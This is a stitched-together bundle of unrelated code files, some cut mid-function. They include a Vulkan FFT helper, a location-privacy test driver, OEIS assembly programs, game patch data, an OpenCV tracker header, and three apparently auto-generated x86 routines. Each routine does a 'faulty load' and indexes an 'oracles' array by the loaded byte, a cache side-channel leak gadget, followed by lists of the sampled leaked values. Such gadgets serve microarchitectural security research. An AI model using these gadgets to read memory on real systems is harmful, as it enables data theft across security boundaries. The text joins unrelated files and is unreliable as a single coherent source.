va_start(va, fmt);
char buffer[16 * 1024];
vsprintf(buffer, fmt, va);
LOGI("GLFFT: %s\n", buffer);
va_end(va);
}
void FFTInterface::read_texture(void *buffer, GLFFT::Texture *texture)
{
auto &image = static_cast<FFTTexture *>(texture)->image->get_image();
Vulkan::BufferCreateInfo info = {};
info.size =
Vulkan::TextureFormatLayout::format_block_size(image.get_format(), 0) *
image.get_width() * image.get_height();
info.domain = Vulkan::BufferDomain::CachedHost;
info.usage = VK_BUFFER_USAGE_TRANSFER_DST_BIT;
auto readback = device->create_buffer(info, nullptr);
auto cmd = device->request_command_buffer();
cmd->barrier(VK_PIPELINE_STAGE_COMPUTE_SHADER_BIT, VK_ACCESS_SHADER_WRITE_BIT, VK_PIPELINE_STAGE_TRANSFER_BIT,
VK_ACCESS_TRANSFER_READ_BIT);
cmd->copy_image_to_buffer(*readback, image, 0, {}, { image.get_width(), image.get_height(), 1 }, 0, 0,
{ VK_IMAGE_ASPECT_COLOR_BIT, 0, 0, 1 });
cmd->barrier(VK_PIPELINE_STAGE_TRANSFER_BIT, VK_ACCESS_TRANSFER_WRITE_BIT, VK_PIPELINE_STAGE_HOST_BIT,
VK_ACCESS_HOST_READ_BIT);
device->submit(cmd);
device->wait_idle();
memcpy(buffer, device->map_host_buffer(*readback, Vulkan::MEMORY_ACCESS_READ_BIT), info.size);
device->unmap_host_buffer(*readback, Vulkan::MEMORY_ACCESS_READ_BIT);
}
string FFTInterface::load_shader(const char *path)
{
string str;
if (!Global::filesystem()->read_file_to_string(Path::join("builtin://shaders/fft", path), str))
return "";
return str;
}
GLFFT::CommandBuffer *FFTInterface::request_command_buffer()
{
auto *cmd = new FFTCommandBuffer(device->request_command_buffer());
return cmd;
}
void FFTInterface::submit_command_buffer(GLFFT::CommandBuffer *cmd_)
{
auto *cmd = static_cast<FFTCommandBuffer *>(cmd_);
assert(cmd->cmd_holder);
device->submit(cmd->cmd_holder);
delete cmd;
}
bool FFTInterface::supports_native_fp16()
{
return device->get_device_features().storage_16bit_features.storageBuffer16BitAccess &&
device->get_device_features().float16_int8_features.shaderFloat16;
}
FFTInterface::FFTInterface(Vulkan::Device *device_)
: device(device_)
{
}
} // namespace Granite
|
//!
//! \file
//!
//! \brief This is an example of running a simple schedule that includes an Application, a LPPM, an Attack, and a Metric
#include "include/Public.h"
using namespace lpm;
int f(int user_start, int user_end, int tr_start, int tr_end, int loc_start, int loc_end,int lppm1,float lppm2, float lppm3, float ap, string actual_trace, string know,string output,int metric);
int convert_int(string ip);
float convert_float(string ip);
int convert_int(string ip){
stringstream s(ip);
int tmp;
//s << ip;
s >> tmp;
//cout<<"converstion "<<tmp<<"\n";
return tmp;
}
float convert_float(string ip){
stringstream s(ip);
float tmp;
//s << ip;
s >> tmp;
//cout<<"converstion "<<tmp<<"\n";
return tmp;
}
int main(int argc, char **argv){
int user_start,user_end, tr_start, tr_end, loc_start, loc_end,lppm1,metric;
string actual_trace, know,output;
float lppm2, lppm3, ap;
fstream newfile;
newfile.open("sample_sch.csv",ios::in);
if(newfile.is_open()){
string tp,tmp;
while(getline(newfile,tp)){
stringstream s(tp),str_cnv;
vector<string> v;
while (s >> tmp) v.push_back(tmp);
if (v.size() == 16){
if (v[0] != "percent_sample"){
user_start = convert_int(v[2]);
user_end = convert_int(v[3]);
metric = convert_int(v[4]);
output = v[5];
tr_start = convert_int(v[6]);
tr_end = convert_int(v[7]);
loc_start = convert_int(v[8]);
loc_end = convert_int(v[9]);
lppm1 = convert_int(v[10]);
lppm2 = convert_float(v[11]);
lppm3 = convert_float(v[12]);
ap = convert_float(v[13]);
actual_trace = v[14];
know = v[15];
f(user_start,user_end,tr_start,tr_end,loc_start,loc_end, lppm1, lppm2, lppm3, ap, actual_trace, know,output,metric);
}
}
}
newfile.close();
}
}
int f(int user_start, int user_end, int tr_start, int tr_end, int loc_start, int loc_end, int lppm1, float lppm2, float lppm3, float ap, string actual_trace, string know,string output,int metric)
{
LPM* lpm = LPM::GetInstance(); // get a pointer to the LPM engine (core class)
Parameters::GetInstance()->AddUsersRange(user_start, user_end); // {2}
Parameters::GetInstance()->SetTimestampsRange(tr_start, tr_end); // consider only timestamps 7, 8, ..., 18, 19
Parameters::GetInstance()->SetLocationstampsRange(loc_start, loc_end); // consider only locationstamps 1, 2, 3, 4, 5, 6, 7, 8
Log::GetInstance()->SetEnabled(true); // [optional] enable the logging facilities
Log::GetInstance()->SetOutputFileName(output); // [optional] set the log file name (here: output.log)
// Tweak the template's parameters'
SimpleScheduleTemplate::GetInstance()->SetApplicationParameters(Basic, ap);
SimpleScheduleTemplate::GetInstance()->SetLPPMParameters(lppm1, GeneralStatisticsSelection, lppm2, lppm3);
SimpleScheduleTemplate::GetInstance()->SetAttackParameter(Strong);
if(metric == 1){
SimpleScheduleTemplate::GetInstance()->SetMetricParameters(Anonymity);
}else if(metric == 2){
SimpleScheduleTemplate::GetInstance()->SetMetricParameters(Distortion);
}else{
SimpleScheduleTemplate::GetInstance()->SetMetricParameters(Entropy);
}
File knowledge(know);
Schedule* schedule = SimpleScheduleTemplate::GetInstance()->BuildSchedule(&knowledge, "simple"); // build the schedule
if(schedule == NULL)
{
std::cout << Errors::GetInstance()->GetLastErrorMessage() << endl; // print the error message
return -1;
}
std::cout << schedule->GetDetailString() << endl; // print a description of the schedule
std::cout << "Running schedule...";
File input(actual_trace);
if(lpm->RunSchedule(schedule, &input, "output") == false) // run the schedule
{
std::cout << Errors::GetInstance()->GetLastErrorMessage() << endl; // print the error message
return -1;
}
std::cout << " done!" << endl;
schedule->Release(); // release the schedule object (since it is no longer needed)
return 0;
}
|
version https://git-lfs.github.com/spec/v1
oid sha256:199facf2c2f63cb372947a2db9e0fdb67f746d77d0240c507786c54118ac30bc
size 5743
|
MusicDataStart:
incbin "../../intermediate/0002.bin"
db $ff
InstDataStart:
incbin "../../intermediate/0002.inst.bin"
db $ff
AEnvDataStart:
incbin "../../intermediate/0002.aenv.bin"
db $ff
PitchTableLo:
db 24,56,90,125,163,204,246,35,83,134,187,244
db 48,112,180,251,71,152,237,71,167,12,119,233
db 97,225,104,247,143,48,218,143,78,24,239,210
db 195,195,209,239,31,96,181,30,156,49,223,165
db 135,134,162,223,62,193,107,60,57,99,190,75
db 15,12,69,191,125,131,214,121,115,199,124,151
PitchTableHi:
db 2,2,2,2,2,2,2,3,3,3,3,3
db 4,4,4,4,5,5,5,6,6,7,7,7
db 8,8,9,9,10,11,11,12,13,14,14,15
db 16,17,18,19,21,22,23,25,26,28,29,31
db 33,35,37,39,42,44,47,50,53,56,59,63
db 67,71,75,79,84,89,94,100,106,112,119,126
|
; A010201: Continued fraction for sqrt(142).
; 11,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1,10,1,22,1
pow $0,2
mul $0,2
mov $1,15
mov $2,12
mov $3,3
mul $3,$0
lpb $0,1
mov $0,1
mul $2,2
div $3,2
gcd $2,$3
mov $1,$2
add $1,2
lpe
sub $1,4
|
; A209084: a(n) = 2*a(n-1) + 4*a(n-2) with n>1, a(0)=0, a(1)=4.
; Submitted by Jamie Morken(s2)
; 0,4,8,32,96,320,1024,3328,10752,34816,112640,364544,1179648,3817472,12353536,39976960,129368064,418643968,1354760192,4384096256,14187233280,45910851584,148570636288,480784678912,1555851902976,5034842521600,16293092655104,52725555396608,170623481413632,552149184413696,1786792294481920,5782181326618624,18711531831164928,60551788968804352,195949705262268416,634106566399754240,2052011953848582144,6640450173296181248,21488948161986691072,69539697017158107136,225035186682262978560
mov $1,2
pow $1,$0
seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
mul $1,2
mul $0,$1
|
%include "include/u7si-all-includes.asm"
%assign USE_KEY_SOUND 94 ; sound of dialog opening
%assign NO_KEY_SOUND 43 ; "can not" sound
%include "../u7-common/patch-eop-selectAndUseKey.asm"
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x1cd7f, %rsi
lea addresses_UC_ht+0x335f, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
cmp $52700, %r8
mov $42, %rcx
rep movsb
nop
nop
nop
nop
nop
and $31086, %rbp
lea addresses_WT_ht+0x15fb5, %rsi
lea addresses_WT_ht+0xcbf, %rdi
clflush (%rdi)
nop
nop
dec %r10
mov $60, %rcx
rep movsl
nop
nop
sub $3044, %r8
lea addresses_A_ht+0x7ca3, %rsi
lea addresses_normal_ht+0x16ebf, %rdi
nop
add $41818, %r8
mov $110, %rcx
rep movsb
nop
nop
nop
add $52418, %rsi
lea addresses_WC_ht+0x1916f, %rsi
nop
nop
nop
nop
nop
sub $10789, %rcx
mov $0x6162636465666768, %rdi
movq %rdi, (%rsi)
xor %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %rbp
push %rbx
push %rdx
// Store
lea addresses_normal+0xacbf, %rdx
nop
sub $12817, %r13
mov $0x5152535455565758, %r12
movq %r12, %xmm0
movups %xmm0, (%rdx)
nop
nop
nop
nop
and %rbx, %rbx
// Store
lea addresses_RW+0x10947, %r10
nop
nop
nop
add %rbp, %rbp
movw $0x5152, (%r10)
nop
nop
nop
nop
cmp $14701, %rbp
// Faulty Load
lea addresses_RW+0x4bf, %rbp
nop
nop
xor %rbx, %rbx
mov (%rbp), %r13
lea oracles, %r10
and $0xff, %r13
shlq $12, %r13
mov (%r10,%r13,1), %r13
pop %rdx
pop %rbx
pop %rbp
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_normal', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_RW', 'size': 2, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': True}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r8
push %rax
push %rcx
push %rdi
// Store
lea addresses_PSE+0x92a2, %rcx
nop
nop
nop
sub %r12, %r12
mov $0x5152535455565758, %r15
movq %r15, %xmm4
vmovaps %ymm4, (%rcx)
nop
dec %r8
// Store
lea addresses_WT+0x1d18e, %r14
nop
nop
and %rdi, %rdi
mov $0x5152535455565758, %r8
movq %r8, %xmm7
movups %xmm7, (%r14)
nop
sub $35721, %r15
// Store
lea addresses_WT+0x185e2, %r15
clflush (%r15)
nop
nop
xor %r14, %r14
movb $0x51, (%r15)
nop
add $24462, %r15
// Store
lea addresses_D+0xe5e2, %rax
nop
nop
nop
nop
and $32733, %rdi
mov $0x5152535455565758, %r15
movq %r15, %xmm2
movups %xmm2, (%rax)
nop
add %rdi, %rdi
// Faulty Load
lea addresses_A+0x155e2, %rcx
cmp $36105, %r8
mov (%rcx), %r15d
lea oracles, %r14
and $0xff, %r15
shlq $12, %r15
mov (%r14,%r15,1), %r15
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': True, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': True, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': True, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 11}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_A', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'58': 2}
58 58
*/
|
; A112030: a(n) = (2 + (-1)^n) * (-1)^floor(n/2).
; 3,1,-3,-1,3,1,-3,-1,3,1,-3,-1,3,1,-3,-1,3,1,-3,-1,3,1,-3,-1,3,1,-3,-1,3,1,-3,-1,3,1,-3,-1,3,1,-3,-1,3,1,-3,-1,3,1,-3,-1,3,1,-3,-1,3,1,-3,-1,3,1,-3,-1,3,1,-3,-1,3,1,-3,-1,3,1,-3,-1,3,1,-3,-1,3,1
seq $0,77750 ; Least significant digit of A077749(n).
mov $1,3
add $2,$0
sub $1,$2
mov $0,$1
|
; A056699: First differences are 2,1,-2,3 (repeated).
; Submitted by Jon Maiga
; 1,3,4,2,5,7,8,6,9,11,12,10,13,15,16,14,17,19,20,18,21,23,24,22,25,27,28,26,29,31,32,30,33,35,36,34,37,39,40,38,41,43,44,42,45,47,48,46,49,51,52,50,53,55,56,54,57,59,60,58,61,63,64,62,65,67,68,66,69,71,72,70,73,75,76,74,77,79,80,78,81,83,84,82,85,87,88,86,89,91,92,90,93,95,96,94,97,99,100,98
mov $1,$0
mod $0,4
add $1,46
mov $2,2
gcd $2,$0
sub $2,$0
bin $2,2
sub $1,$2
mov $0,$1
sub $0,44
|
; A173279: Irregular triangle read by rows: M(n,k) = (n-2*k)!, k=0..floor(n/2).
; Submitted by Jon Maiga
; 1,1,2,1,6,1,24,2,1,120,6,1,720,24,2,1,5040,120,6,1,40320,720,24,2,1,362880,5040,120,6,1,3628800,40320,720,24,2,1,39916800,362880,5040,120,6,1,479001600,3628800,40320,720,24,2,1,6227020800,39916800,362880,5040,120,6,1,87178291200
seq $0,82375 ; Irregular triangle read by rows: row n begins with n and decreases by 2 until 0 or 1 is reached, for n >= 0.
seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters).
|
/*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Copyright (C) 2013, OpenCV Foundation, all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef OPENCV_OBJDETECT_DBT_HPP
#define OPENCV_OBJDETECT_DBT_HPP
// After this condition removal update blacklist for bindings: modules/python/common.cmake
#if defined(__linux__) || defined(LINUX) || defined(__APPLE__) || defined(__ANDROID__) || \
(defined(__cplusplus) && __cplusplus > 201103L) || (defined(_MSC_VER) && _MSC_VER >= 1700)
#include <vector>
namespace cv
{
//! @addtogroup objdetect
//! @{
class CV_EXPORTS DetectionBasedTracker
{
public:
struct Parameters
{
int maxTrackLifetime;
int minDetectionPeriod; //the minimal time between run of the big object detector (on the whole frame) in ms (1000 mean 1 sec), default=0
Parameters();
};
class IDetector
{
public:
IDetector():
minObjSize(96, 96),
maxObjSize(INT_MAX, INT_MAX),
minNeighbours(2),
scaleFactor(1.1f)
{}
virtual void detect(const cv::Mat& image, std::vector<cv::Rect>& objects) = 0;
void setMinObjectSize(const cv::Size& min)
{
minObjSize = min;
}
void setMaxObjectSize(const cv::Size& max)
{
maxObjSize = max;
}
cv::Size getMinObjectSize() const
{
return minObjSize;
}
cv::Size getMaxObjectSize() const
{
return maxObjSize;
}
float getScaleFactor()
{
return scaleFactor;
}
void setScaleFactor(float value)
{
scaleFactor = value;
}
int getMinNeighbours()
{
return minNeighbours;
}
void setMinNeighbours(int value)
{
minNeighbours = value;
}
virtual ~IDetector() {}
protected:
cv::Size minObjSize;
cv::Size maxObjSize;
int minNeighbours;
float scaleFactor;
};
DetectionBasedTracker(cv::Ptr<IDetector> mainDetector, cv::Ptr<IDetector> trackingDetector, const Parameters& params);
virtual ~DetectionBasedTracker();
virtual bool run();
virtual void stop();
virtual void resetTracking();
virtual void process(const cv::Mat& imageGray);
bool setParameters(const Parameters& params);
const Parameters& getParameters() const;
typedef std::pair<cv::Rect, int> Object;
virtual void getObjects(std::vector<cv::Rect>& result) const;
virtual void getObjects(std::vector<Object>& result) const;
enum ObjectStatus
{
DETECTED_NOT_SHOWN_YET,
DETECTED,
DETECTED_TEMPORARY_LOST,
WRONG_OBJECT
};
struct ExtObject
{
int id;
cv::Rect location;
ObjectStatus status;
ExtObject(int _id, cv::Rect _location, ObjectStatus _status)
:id(_id), location(_location), status(_status)
{
}
};
virtual void getObjects(std::vector<ExtObject>& result) const;
virtual int addObject(const cv::Rect& location); //returns id of the new object
protected:
class SeparateDetectionWork;
cv::Ptr<SeparateDetectionWork> separateDetectionWork;
friend void* workcycleObjectDetectorFunction(void* p);
struct InnerParameters
{
int numLastPositionsToTrack;
int numStepsToWaitBeforeFirstShow;
int numStepsToTrackWithoutDetectingIfObjectHasNotBeenShown;
int numStepsToShowWithoutDetecting;
float coeffTrackingWindowSize;
float coeffObjectSizeToTrack;
float coeffObjectSpeedUsingInPrediction;
InnerParameters();
};
Parameters parameters;
InnerParameters innerParameters;
struct TrackedObject
{
typedef std::vector<cv::Rect> PositionsVector;
PositionsVector lastPositions;
int numDetectedFrames;
int numFramesNotDetected;
int id;
TrackedObject(const cv::Rect& rect):numDetectedFrames(1), numFramesNotDetected(0)
{
lastPositions.push_back(rect);
id=getNextId();
};
static int getNextId()
{
static int _id=0;
return _id++;
}
};
int numTrackedSteps;
std::vector<TrackedObject> trackedObjects;
std::vector<float> weightsPositionsSmoothing;
std::vector<float> weightsSizesSmoothing;
cv::Ptr<IDetector> cascadeForTracking;
void updateTrackedObjects(const std::vector<cv::Rect>& detectedObjects);
cv::Rect calcTrackedObjectPositionToShow(int i) const;
cv::Rect calcTrackedObjectPositionToShow(int i, ObjectStatus& status) const;
void detectInRegion(const cv::Mat& img, const cv::Rect& r, std::vector<cv::Rect>& detectedObjectsInRegions);
};
//! @} objdetect
} //end of cv namespace
#endif
#endif
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1c3a5, %rsi
lea addresses_UC_ht+0x12663, %rdi
nop
nop
nop
nop
nop
cmp %rbp, %rbp
mov $50, %rcx
rep movsb
nop
dec %r15
lea addresses_WT_ht+0x15727, %r8
clflush (%r8)
nop
nop
dec %r14
movw $0x6162, (%r8)
nop
nop
nop
and %rsi, %rsi
lea addresses_WC_ht+0x1c6d5, %r15
nop
nop
nop
nop
cmp $58097, %rbp
mov $0x6162636465666768, %rsi
movq %rsi, (%r15)
add $34062, %r14
lea addresses_UC_ht+0x6dbc, %r8
nop
nop
nop
nop
add $6511, %r15
mov $0x6162636465666768, %r14
movq %r14, %xmm7
vmovups %ymm7, (%r8)
inc %rbp
lea addresses_UC_ht+0xae18, %r14
clflush (%r14)
nop
nop
nop
add %rbp, %rbp
mov $0x6162636465666768, %r15
movq %r15, %xmm3
movups %xmm3, (%r14)
nop
nop
and %r8, %r8
lea addresses_D_ht+0x72cf, %r14
nop
nop
nop
nop
nop
and $30233, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm4
movups %xmm4, (%r14)
nop
nop
nop
nop
nop
add %rbp, %rbp
lea addresses_normal_ht+0xe42f, %rsi
lea addresses_normal_ht+0xc7cf, %rdi
nop
nop
add $13027, %r12
mov $97, %rcx
rep movsq
cmp $37536, %rbp
lea addresses_normal_ht+0xbacf, %rsi
lea addresses_A_ht+0x1ee4f, %rdi
nop
nop
nop
nop
nop
and %r15, %r15
mov $125, %rcx
rep movsw
nop
nop
nop
cmp %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r15
push %rbp
push %rbx
// Faulty Load
lea addresses_UC+0x15acf, %r15
and %r13, %r13
vmovups (%r15), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %rbp
lea oracles, %r11
and $0xff, %rbp
shlq $12, %rbp
mov (%r11,%rbp,1), %rbp
pop %rbx
pop %rbp
pop %r15
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16}}
{'src': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}}
{'src': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}}
{'44': 11955, '45': 9873, 'ff': 1}
45 44 44 44 44 44 44 45 45 45 45 45 45 45 45 45 45 44 44 44 44 45 45 44 45 45 45 45 45 45 44 44 44 44 45 45 45 45 44 44 44 45 45 45 45 44 44 45 44 45 44 44 44 45 45 45 45 45 45 45 44 45 45 44 44 44 44 44 44 44 45 45 45 45 44 44 45 44 45 45 44 44 44 44 44 44 44 44 44 44 44 44 44 45 44 44 44 45 44 44 45 45 44 44 45 45 45 45 44 44 45 45 45 44 44 44 44 44 45 45 45 45 44 44 44 45 45 44 44 44 44 44 45 45 45 44 44 44 45 45 45 44 45 44 44 44 45 44 44 44 45 45 44 44 44 44 44 44 44 44 44 45 45 44 45 45 44 45 44 44 44 44 45 45 45 45 45 44 44 45 45 45 45 45 45 44 44 45 45 44 44 45 44 45 44 44 44 44 44 44 44 44 44 44 45 45 45 45 44 44 44 44 44 44 44 44 44 45 45 44 44 44 45 45 45 44 44 44 44 44 45 44 44 44 45 45 45 44 44 44 45 45 45 45 44 44 45 44 45 44 44 45 45 45 44 44 44 44 44 44 44 44 44 44 45 45 45 45 45 44 44 44 45 45 45 45 45 45 45 45 44 44 44 44 45 45 44 45 44 44 45 45 45 44 44 44 45 45 45 44 44 44 45 44 45 44 44 44 45 45 45 44 44 45 45 44 44 44 44 44 44 44 44 44 44 45 45 45 45 45 45 44 45 45 44 45 45 44 44 44 45 45 45 44 45 44 44 45 44 44 44 45 44 44 45 45 45 45 45 44 44 44 44 45 45 44 44 44 44 45 45 45 45 45 45 45 45 44 44 44 45 45 45 44 44 44 44 44 44 44 44 44 44 44 44 44 45 45 45 45 45 45 45 45 45 44 45 45 45 45 45 45 44 44 44 45 45 45 45 45 45 44 44 44 44 45 44 